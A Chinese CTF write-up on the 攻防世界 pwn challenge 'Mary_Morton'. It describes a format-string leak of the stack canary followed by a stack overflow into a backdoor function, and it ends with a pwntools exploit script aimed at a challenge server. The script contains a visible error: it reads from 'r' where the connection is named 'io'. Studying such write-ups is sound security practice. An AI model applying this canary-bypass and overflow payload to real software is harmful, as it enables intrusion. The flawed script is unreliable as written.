攻防世界pwn--持续更新

一道攻防世界的pwn题 Mary_Morton
好久都不写WP了,太懒了,emmm,以后坚持更新。
用checksec查看保护机制

这里的11就是本题,我嫌弃题的名字长就换了一个,emmm,有栈不可执行,栈溢出保护–canary。

请添加图片描述

用IDA查看伪代码

输入v3的数值来判断流程的跳转

请添加图片描述

输入1进入sub_400960()函数

请添加图片描述

输入2进入sub_4008EB()函数

请添加图片描述

发现后门函数

请添加图片描述

很明显就是canary保护

请添加图片描述

解题的大致思路就是,通过栈溢出,来执行后门函数,canary用格式化字符串来绕过。

sub_4008EB()函数存在格式化字符串漏洞,利用该漏洞来泄露栈上v2的值,来绕过canary保护。

运行一下程序查看格式化字符串函数的参数在栈上的偏移量

请添加图片描述

发现偏移量是6个字节。

确定canary和输入的参数之间的偏移

请添加图片描述

(0x90-0x8)/8=17字节,17(buf和v2的偏移量)+6(格式化字符串参数栈上的偏移量)=23字节

因为64位的程序,每个格式化字符串都是8字节,同理32位是4字节

exp.py

from pwn import*
io=remote("111.200.241.244",51326)
flag_addr=0x004008DA
io.sendlineafter('3. Exit the battle',b'2')
io.sendline('%23$p')
io.recvuntil('0x')
canary=int(r.recv(16),16)
payload=b'a'*0x88+p64(canary)+b'a'*8+p64(flag_addr)
io.recvuntil('3. Exit the battle')
io.sendline('1')
io.sendline(payload)
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值